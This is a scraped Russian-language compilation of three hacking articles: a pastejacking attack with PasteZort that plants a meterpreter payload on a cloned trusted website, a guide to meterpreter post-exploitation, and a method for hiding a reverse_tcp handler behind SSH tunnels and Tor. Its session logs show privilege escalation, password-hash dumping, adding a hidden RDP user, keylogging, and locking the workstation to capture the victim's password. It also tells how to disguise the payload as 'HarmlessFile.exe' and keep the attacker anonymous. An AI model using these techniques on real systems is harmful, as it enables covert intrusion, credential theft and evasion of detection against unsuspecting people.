Meterpreter kali linux как установить

Статья Доступ к целевому ПК (meterpreter) — PasteZort

Приветствую! В этой статье речь пойдет, о таком виде атаки на целевой хост, как Pastejacking.

Если кратко, то этот метод заключается в том, что жертва атаки копирует (Ctrl+C) с нашего ресурса, инструкции/команды для командной строки, которые с виду легитимны, но на самом деле в буфер обмена, с ними попадает вредоносный код. Целью является получение сессии meterpreter, этим и займемся.

В качестве основного инструмента мы будем использовать PasteZort.

В качестве атакующей системы: Kali Linux 2017.3.

Целевая система: Windows 8.1. Last Update.

Рабочая среда: Локальная сеть, интернет.

Для начала, необходимо получить PasteZort, скачиваем его со страницы разработчиков на Github.

Затем, необходимо, файлу encode.rb в директории PasteZort разрешить выполнение:

Теперь, все готово к запуску, но нужно немного поработать, для получения результата. Дело в том, что PasteZort генерирует html файл с вредоносным содержимым, и когда цель перейдет на наш ресурс, если все оставить по умолчанию, она может что-то заподозрить:

Для этого, предлагаю, создать копию доверенного ресурса и на его странице разместить информацию с вредоносным кодом. И затем запустить у себя на сервере, поделившись с целью ссылкой.

Самый простой способ загрузить себе сайт, это использовать утилиту wget. Со следующими параметрами:

После выполнения данной команды в директорию site.com будет загружена локальная копия сайта http://site.com. Чтобы открыть главную страницу сайта нужно открыть файл index.html.

Запускаем PasteZort и формируем полезную нагрузку:

И запускаем handler Metasploit:

Переместим файл из папки /var/www/index.html в любую другую папку, он понадобится нам позже. Затем копируем скачанный сайт, полностью, включая все папки в директорию /var/www.

Убедимся, что все работает, зайдем с целевого хоста на наш клонированный сайт.

Теперь, все в той же папке /var/www редактируем файл index.html, а именно, нам нужно перенести в него полезную нагрузку из index.html, который мы отложили ранее. Ну и сделать это максимально правдоподобным, включаем своего внутреннего СИ.

Редактируем его примерно следующим образом:

Сохраняем наш труд и заходим на сайт повторно, в случае, успеха картина будет такой:

Копируем команду, предложенную сайтом, открываем CMD на целевом хосте и вставляем ее внутрь:

Нажимать ничего не нужно, команда выполнится скрытно, CMD закроется, а на атакующем хосте, откроется активная сессия meterpreter.

С локальной сетью понятно. Через внешнюю сеть метод тоже работает, необходимо просто пробросить порты:

Для того, кого смущает IP-адрес вместо удобочитаемого доменного имени инструкция в подарок:

Источник

Секреты Meterpreter Payload

Что такое Meterpreter?

Meterpreter — расширенная многофункциональная начинка (Payload), которая может быть динамически расширена во время выполнения. В нормальных условиях, это означает, что это обеспечивает Вас основной оболочкой и позволяет Вам добавлять новые особенности к ней по мере необходимости.

Первым, наиболее частым действием является внедрение в процесс explorer’a. Эту возможность предоставляет команда migrate:

meterpreter > migrate 1888 #1888 — PID процесса, вывести список процессов — ps
[*] Migrating to 1888.
[*] Migration completed successfully.

Далее, как правило, выполняется повышение привилегий до системных. Для этого существует команда getsystem, использующая уязвимость, которая была обнаружена во всех версиях Windows, начиная с версии 3.1:

meterpreter > getsystem
. got system (via technique 1).

Сбор информации

Следующим действием, после подключения к машине, является сбор информации, meterpreter эту процедуру упростил, благодаря наличию скрипта winenum:

meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 192.168.ххх.ххх:1197.
[*] Saving general report to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931/MICROSOF-30B51A_20111024.0931.txt
[*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931
[*] Checking if MICROSOF-30B51A is a Virtual Machine .
[*] UAC is Disabled
[*] Running Command List .
[*] running command net view
[*] running command netstat -ns
[*] running command net accounts
[*] running command netstat -vb
[*] running command route print
[*] running command netstat -nao
[*] running command ipconfig /all
[*] running command arp -a
[*] running command cmd.exe /c set
[*] running command ipconfig /displaydns
[*] running command tasklist /svc
[*] running command netsh firewall show config
[*] running command net group administrators
[*] running command net view /domain
[*] running command net localgroup administrators
[*] running command net localgroup
[*] running command net user
[*] running command net group
[*] running command net session
[*] running command net share
[*] running command gpresult /SCOPE USER /Z
[*] running command gpresult /SCOPE COMPUTER /Z
[*] Running WMIC Commands .
[*] running command wmic netlogin get name,lastlogon,badpasswordcount
[*] running command wmic nteventlog get path,filename,writeable
[*] running command wmic netclient list brief
[*] running command wmic share get name,path
[*] running command wmic logicaldisk get description,filesystem,name,size
[*] running command wmic volume list brief
[*] running command wmic netuse get name,username,connectiontype,localname
[*] running command wmic service list brief
[*] running command wmic group list
[*] running command wmic useraccount list
[*] running command wmic qfe
[*] running command wmic product get name,version
[*] running command wmic rdtoggle list
[*] running command wmic startup list full
[*] Extracting software list from registry
[*] Dumping password hashes.
[*] Getting Tokens.
[*] All tokens have been processed
[*] Done!

Читайте также:  Тест производительность системы windows

Мы получаем хэш паролей, настройки системы, список пользователей и многое другое.
Есть и еще один скрипт, который собирает более обширную информацию, включая дамп системного реестра, однако иногда с ним возникают проблемы, поэтому приводить его я не буду. Называется этот скрипт — scraper.

Удаленный рабочий стол

Интересным для нас, является получение доступа к удаленному рабочему столу. Остановимся на этом вопросе подробнее, так как все средства для этого у нас есть. Скрипт, выполняющий все настройки подключения называется getgui. Для того, чтобы активировать использование протокола RDP на удаленной машине используется параметр -e:

meterpreter > run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20111024.1517.rc

Далее нам потребуется добавить нового пользователя:

meterpreter > run getgui -u NAME -p PASSWORD
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Setting user account for logon
[*] Adding User: NAME with Password: PASSWORD
[*] Adding User: NAME to local group ‘������������ ���������� �������� �����’
[*] Adding User: NAME to local group ‘��������������’
[*] You can now login with the created user
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20111024.1642.rc

Где NAME — имя пользователя, PASSWORD — пароль.

Получить шелл

Если нужно получить шелл на удаленной машине, выполняется одноименная команда shell. Либо вручную запустить cmd.

Операции с оборудованием

Если вам нужно отключить клавиатуру или мышь, используется команда uictl. Принимает она следующие параметры:

uictl [enable/disable] Meterpreter kali linux как установить

Enable — включает; disable — отключает.

meterpreter > uictl disable mouse #Отключаем мышь
Disabling mouse.
meterpreter > uictl enable mouse #Включаем мышь
Enabling mouse.
meterpreter > uictl disable keyboard #Отключаем клавиатуру
Disabling keyboard.
meterpreter > uictl enable keyboard #Включаем мышь
Enabling keyboard.

Кейлогер

Встроенных кейлогера аж два. Один — просто набор команд: keyscan_start — запускает кейлогер; keyscan_dump — выводит полученный результат; keyscan_stop — останавливает работу кейлогера.

Есть также скрипт под названием keylogrecorder. Он более эффективен чем keyscan, и более того, записывает результат в лог:

meterpreter > bgrun keylogrecorder
[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer.
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.ххх.ххх_20111024.4455.txt #адрес лога
[*] Recording

meterpreter > bgkill 2 #отключаем кейлогер
[*] Killing background job 2.

Meterpreter также предоставляет выполнение сценариев Ruby. Например, мы можем вывести окно с сообщением (MessageBox) или заблокировать рабочую станцию. Для этого нужно сначала подключить railgun:

meterpreter > irb
> client.core.use(«railgun»)
=> true

Затем, чтобы заблокировать рабочую станцию:

> client.railgun.user32.LockWorkstation() #блокируем
=> <«GetLastError» =>0. «return» => true> #все в порядке

Это часто используется, чтобы получить пароль пользователя в связке с кейлогером:

meterpreter > bgrun keylogrecorder #запускаем кейлогер
[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer.
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.2.27_20111024.4455.txt #адрес лога
[*] Recording

meterpreter > irb
> client.core.use(«railgun») #подключаем railgun
=> true
> client.railgun.user32.LockWorkstation() #блокируем рабочую станцию
=> <«GetLastError» =>0. «return» => true>

Пользователь, сославшись на глючность винды введет пароль, и мы увидим его в логе кейлогера.

Вывести диалог с сообщением также просто:

> client.railgun.user32.MessageBoxA(0, «Текст сообщения», «Заголовок», «MB_OK»)

Подробнее о выводе таких сообщений можете почитать в MSDN.

Есть еще интересная команда screenshot. С помощью нее вы можете сделать скриншот на удаленной машине. Если вы работаете под Линукс, запуск Metasploit должен быть выполнен под root, так как скриншот сохраняется в папку msf3.

Читайте также:  Google диск что такое windows

Если вам нужно выключить или перезагрузить машину, для этого есть одноименные команды shutdown и reboot. Если shutdown или reboot не сработал, такое бывает, убейте процесс lsass.exe, тогда система все равно перезагрузится через минуту:

meterpreter > kill 866 #866 — PID процесса, используйте ps, чтобы узнать идентификатор

Рассмотрим еще один момент. Я тестровал Meterpreter на машинах с разными антивирусами и фаерволами, в частности Outpost, Dr. Web и KIS. Проводилась полная проверка, включались режимы повышенной защищенности, но несмотря на это meterpreter так и остался незамеченным.

Источник

Анонимное подключение к meterpreter/reverse_tcp через промежуточный сервер с помощью SSH-туннелей

Всем привет! Эта статья рассчитана скорее на новичков, которые только начинают своё знакомство с Metasploit Framework, но уже кое-что понимают. Если вы считаете себя опытным специалистом и вас заинтересовало название, можете сразу перейти к TL;DR; в конце. Речь в этой статье пойдет о том, как устроить анонимный доступ к meterpriter оболочке посредством reverse tcp с использованием промежуточного сервера и SSH туннелей.

Дисклеймер: чукча не писатель, не безопасник и вообще с трудом может причислить себя к профессионалам в какой-либо сфере. Но чукча захотел reverse tcp через tor и сделал, а вам теперь это читать. А так же помните, что производить подобные действия можно только в разрешенных вам местах, иначе вам грозят несколько статей уголовного кодекса.

Вступление

Допустим, мы нашли дыру на виндовой машине и хотим на неё проникнуть. Рассмотрим варианты, причем обычный cmd нам неинтересен, то ли дело meterpreter, о нём и поговорим.

Есть два основных принципа соединения с оболочкой meterpreter: прямое и обратное. В meterpreter’е есть множество вариантов подключения, но в рамках этой статьи мы будем говорить только о bind tcp(прямой) и reverse tcp(обратный).

Какие подводные камни нас ждут, если мы хотим использовать bind tcp, открыв таким образом порт у жертвы и потом через прокси или тор подключиться? Во-первых, брэндмауэр жертвы поинтересуется, зачем эта непонятная программа пытается выйти в интернет и можно ли ей тут хозяйничать? Допустим, пользователь глуп(что скорее всего так и есть) настолько, чтобы разрешить нашей программе открыть порт, спросите себя, кто нынче выходит в интернет напрямую и имеет белый ip? Мало таких осталось, сейчас везде роутеры, а следовательно наш порт будет доступен только во внутренней сети. Если мы заморочились и прокинули порт наружу, то остаётся полследняя проблемы: нужно знать ip, чтобы подключиться, а он может периодически меняться. Зато, если все перечисленные выше условия выполнены, то можно подключиться через цепочку проксей из любого места.

Что насчет reverse tcp подключения? Брэндмауэр не ругается, роутер тоже не помеха — жертва сама подключится к нам, поэтому же отпадает необходимость следить за её ip адресом. Но возникает проблема посерьёзнее — анонимность. Нам нужно указать, куда жертва будет подключаться, то есть написать свой ip, который можно будет увидеть через тот же netstat. И тогда дяди в чистых костюмах или мстительная жертва с нужными знакомыми смогут, как говорится, вычислить по ip и начистить ботинки сами знаете что сделать. Ещё один минус — наш айпи должен быть постоянным, чтобы иметь возможность подключаться к жертве повторно.

Как же быть? Как сохранить анонимность и иметь возможность входа из любого места?

Начальные условия

Весь процесс я буду демонстрировать в следующих условиях:

  1. В качестве атакующей стороны будет выступать виртуальная машина Kali Linux 2 с IP адресом 192.168.1.50
  2. Жертвой будет виртуалка с Windows 7. IP — 192.168.1.146
  3. Промежуточным, читай — прокси, сервером будет Fedora с IP 192.168.1.10

Не смотрите на то, что они все находятся в одной сети — этот метод прекрасно будет работать в реальных условиях, когда прокси-сервер, жертва и атакующая машина все находятся в разных сетях, но с доступом к интернету.

Для начала запустим handler — программу, которая будет ждать соединения от жертвы на 4444 порту, чтобы при подключении отправить ей meterpreter. Для этого в командной строке Kali запустим msfconsole и в ней выполним следующие команды:

Сообщаем, что на жертве у нас будет запущена полезная нагрузка meterpreter с обратным соединением:

Указываем параметры нагрузки — будем слушать на порту 4444 нашего ip адреса(почему не 127.0.0.1 расскажу позже).

Запускаем и оставляем в таком виде до лучших времен.

Создание exe с полезной нагрузкой

Затем сгенерируем программулину, которая и будет подключаться через прокси к нам. Открываем новую вкладку терминала и набираем следующее:

Читайте также:  Ошибка загрузки драйверов vipnet client astra linux

Кратко расскажу об аргументах.

Первые три очевидны — архитектура процессора, платформа и формат выходного файла. Аргумент -p сразу понятен тем, кто немного знаком с Metasploit: мы выбирали в качестве полезной нагрузки оболочку meterpreter, которая подключится на порт LPORT хоста LHOST, принадлежащие в данном случае нашему прокси-серверу.

Аваст не повелся и гордо сообщил об угрозе, поэтому и был убит на месте, дабы не мешать испытаниям. Файл на месте, теперь займемся подготовкой нашего сервера.

Настройка сервера

Мы будем использовать статический проброс портов.

В созданном нами exe порт был 22222, а на Kali мы слушаем порт 4444. Значит-с, чтобы все запросы идущие на серверный порт 22222 транслировались на наш порт 4444, в Kali нужно написать такую команду:

Чтобы разобраться, почему это не сработает, поймем чего мы этой командой хотели добиться. Мне нравится, когда на экране есть информация о том, что происходит, поэтому я добавил -v, но доступ к оболочке нам не нужен, поэтому -N(ещё в этом случае нас не будет видно в who на сервере). Магический аргумент -R 127.0.0.1:22222:127.0.0.1:4444 описывает правила перенаправления пакетов: с адреса на сервере 127.0.0.1:22222 на наш локальный адрес 127.0.0.1:4444. Первый 127.0.0.1 подразумевается, поэтому мы его опускаем.

Нюанс в том, что по умолчанию проброшенный таким образом порт на сервере будет доступен только с серверного же localhost’а и при попытке подключиться извне ничего не произойдет и никаких ошибок не будет.

Поправим ситуацию — открываем на прокси-сервере конфиг ssh демона — /etc/ssh/sshd_config, ищем строку GatewayPorts, раскомментируем её и устанавливаем в yes. Переподгружаем конфиг через service sshd reload и теперь со спокойной душей запускаем команду.

А теперь интересный момент. Когда я только это всё изучал, то подобными манипуляциями у меня получилось добиться подключения жертвы к моему хэндлеру и успешно открыть командную строку метерпритера, но при вводе любой команды(даже help) он с дикими ошибками закрывал соединение. Сейчас же, когда я пишу статью, всё работает. Даже если у вас всё заработало и так, всё равно рекомендую к прочтению следующий абзац.

После долгих часов гугления был найден комментарий разработчика метерпритера о том, что не стоит указывать LHOST(то есть адрес хоста, на котором слушать) 127.0.0.1. Нужно писать либо что-то типа 127.0.0.2, либо 0.0.0.0. Но если мы выбираем первый вариант, то и прокидывать порты нужно на 127.0.0.2. Но и с таким вариантом у меня выпадали ошибки. После ещё более долгих часов гугления был найден комментарий другого разработчика, который сказал чуть больше: нельзя вешать не только на 127.0.0.1, но и в принципе на интерфейс loopback, потому что он зарезервирован и работать будет не стабильно, и порекомендовал вешать хэндлер на другой сетевой интерфейс, например eth0. Так что прокидывать мы будем на него же. Команда приобретает следующий вид:

Уже лучше, но через proxychains её всё равно не получится запустить. Чтобы поправить это, пробросим через проксичейнс ssh сервера себе, и через него уже пробросим порт метерпритера.

Говорят, proxychains, входящий в стандартную сборку Kali 2 уже староват и давно заброшен. У меня он периодически падал с ошибкой segfault. Поэтому я поставил себе proxychains4(proxychains-ng) отсюда, а старый снёс к чертям и остался доволен, чего и вам советую.

Заметьте, что мы подключаемся именно на 127.0.0.1:42022, а не на 192.168.1.10:22. Всё готово! Выпускайте Кракена Запускаем HarmlessFile.exe у жертвы и наслаждаемся результатом.

Используем левый сервер в качестве прокси, к которому будет цепляться meterpreter жертвы с помощью reverse tcp.

    Запускаем handler в metasploit’e с метерпритером в качестве нагрузки и указываем адрес левого сервера:

В настройках sshd левого сервера указываем GatewayPorts yes. Через proxychains4, настроенный на тор, сначала пробрасываем себе ssh:

Затем пробрасываем себе порт, на который будет цепляться meterpreter:

Генерируем exe с meterpreter/reverse_tcp в качестве нагрузки:

  • Доставляем payload.exe жертве, запускаем, радуемся.
  • Оговорюсь повторно, что я описал метод, который сработал для меня и выполнил нужную мне задачу — анонимность и мобильной. Может быть есть и другие, более простые пути добиться того же самого, но мне не удалось их раскопать.

    Моя первая статья на ваш суд — конструктивная критика приветствуется, об опечатках прошу сообщать в личку.

    Полезные ссылки:

    Памятка пользователям ssh — замечательное описание возможностей SSH, в частности о SSH-туннелях.
    Meterpreter базовые команды — описание базовых команд Meterpreter’a.

    И ещё 2 слегка устаревшие статьи, но в них есть описание более интересных фич Meterpreter.

    Источник

    Оцените статью